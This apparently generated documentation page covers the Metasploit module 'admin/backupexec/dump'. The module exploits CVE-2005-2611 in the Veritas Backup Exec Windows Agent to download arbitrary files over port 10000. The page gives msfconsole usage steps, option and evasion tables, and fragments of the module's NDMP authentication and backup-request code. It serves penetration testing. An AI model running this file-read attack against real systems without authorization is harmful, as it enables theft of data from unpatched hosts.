Veritas Backup Exec Windows Remote File Access - Metasploit


This page contains detailed information about how to use the auxiliary/admin/backupexec/dump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Veritas Backup Exec Windows Remote File Access
Module: auxiliary/admin/backupexec/dump
Source code: modules/auxiliary/admin/backupexec/dump.rb
Disclosure date: -
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 10000
List of CVEs: CVE-2005-2611

This module abuses a logic flaw in the Backup Exec Windows Agent to download arbitrary files from the system. This flaw was found by someone who wishes to remain anonymous and affects all known versions of the Backup Exec Windows Agent. The output file is in 'MTF' format, which can be extracted by the 'NTKBUp' program listed in the references section. To transfer an entire directory, specify a path that includes a trailing backslash.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/backupexec/dump
msf auxiliary(dump) > show targets
    ... a list of targets ...
msf auxiliary(dump) > set TARGET target-id
msf auxiliary(dump) > show options
    ... show and set options ...
msf auxiliary(dump) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the admin/backupexec/dump auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/backupexec/dump

msf6 auxiliary(admin/backupexec/dump) > show info

       Name: Veritas Backup Exec Windows Remote File Access
     Module: auxiliary/admin/backupexec/dump
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  hdm <[email protected]>
  Unknown

Available actions:
  Name      Description
  ----      -----------
  Download  Download arbitrary file

Check supported:
  No

Basic options:
  Name    Current Setting      Required  Description
  ----    ---------------      --------  -----------
  LHOST                        no        The local IP address to accept the data connection
  LPATH   backupexec_dump.mtf  yes       The local filename to store the exported data
  LPORT                        no        The local port to accept the data connection
  RHOSTS                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPATH   C:\Windows\win.ini   yes       The remote filesystem path to download
  RPORT   10000                yes       The target port (TCP)

Description:
  This module abuses a logic flaw in the Backup Exec Windows Agent to 
  download arbitrary files from the system. This flaw was found by 
  someone who wishes to remain anonymous and affects all known 
  versions of the Backup Exec Windows Agent. The output file is in 
  'MTF' format, which can be extracted by the 'NTKBUp' program listed 
  in the references section. To transfer an entire directory, specify 
  a path that includes a trailing backslash.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2005-2611
  OSVDB (18695)
  http://www.securityfocus.com/bid/14551
  http://www.fpns.net/willy/msbksrc.lzh

Module Options


This is a complete list of options available in the admin/backupexec/dump auxiliary module:

msf6 auxiliary(admin/backupexec/dump) > show options

Module options (auxiliary/admin/backupexec/dump):

   Name    Current Setting      Required  Description
   ----    ---------------      --------  -----------
   LHOST                        no        The local IP address to accept the data connection
   LPATH   backupexec_dump.mtf  yes       The local filename to store the exported data
   LPORT                        no        The local port to accept the data connection
   RHOSTS                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPATH   C:\Windows\win.ini   yes       The remote filesystem path to download
   RPORT   10000                yes       The target port (TCP)

Auxiliary action:

   Name      Description
   ----      -----------
   Download  Download arbitrary file

Advanced Options


Here is a complete list of advanced options supported by the admin/backupexec/dump auxiliary module:

msf6 auxiliary(admin/backupexec/dump) > show advanced

Module advanced options (auxiliary/admin/backupexec/dump):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/backupexec/dump module can do:

msf6 auxiliary(admin/backupexec/dump) > show actions

Auxiliary actions:

   Name      Description
   ----      -----------
   Download  Download arbitrary file

Evasion Options


Here is the full list of possible evasion options supported by the admin/backupexec/dump auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/backupexec/dump) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Did not receive a response from the agent


Here is a relevant code snippet related to the "Did not receive a response from the agent" error message:

71:	    lfd = File.open(datastore['LPATH'], 'wb')
72:	
73:	    connect
74:	    data = ndmp_recv()
75:	    if (not data)
76:	      print_error("Did not receive a response from the agent")
77:	      disconnect
78:	      return
79:	    end
80:	
81:	    username = "root"

Did not receive a response to our authentication request


Here is a relevant code snippet related to the "Did not receive a response to our authentication request" error message:

99:	
100:	    print_status("Sending magic authentication request...")
101:	    ndmp_send(auth)
102:	    data = ndmp_recv()
103:	    if (not data)
104:	      print_error("Did not receive a response to our authentication request")
105:	      disconnect
106:	      return
107:	    end
108:	
109:	

Did not receive a response to our data connection request


Here is a relevant code snippet related to the "Did not receive a response to our data connection request" error message:

135:	
136:	    print_status("Sending data connection request...")
137:	    ndmp_send(conn)
138:	    data = ndmp_recv()
139:	    if (not data)
140:	      print_error("Did not receive a response to our data connection request")
141:	      sfd.close
142:	      disconnect
143:	      return
144:	    end
145:	

Did not receive a response to our parameters request


Here is a relevant code snippet related to the "Did not receive a response to our parameters request" error message:

166:	
167:	    print_status("Sending transfer parameters...")
168:	    ndmp_send(msrs)
169:	    data = ndmp_recv()
170:	    if (not data)
171:	      print_error("Did not receive a response to our parameters request")
172:	      disconnect
173:	      return
174:	    end
175:	
176:	    #

Did not receive a response to our backup request


Here is a relevant code snippet related to the "Did not receive a response to our backup request" error message:

219:	
220:	    print_status("Sending backup request...")
221:	    ndmp_send(bkup)
222:	    data = ndmp_recv()
223:	    if (not data)
224:	      print_error("Did not receive a response to our backup request")
225:	      disconnect
226:	      return
227:	    end
228:	
229:	    #

Did not receive a response to our environment request


Here is a relevant code snippet related to the "Did not receive a response to our environment request" error message:

240:	
241:	    print_status("Sending environment request...")
242:	    ndmp_send(genv)
243:	    data = ndmp_recv()
244:	    if (not data)
245:	      print_error("Did not receive a response to our environment request")
246:	      disconnect
247:	      return
248:	    end
249:	
250:	    #

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • hdm
  • Unknown

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.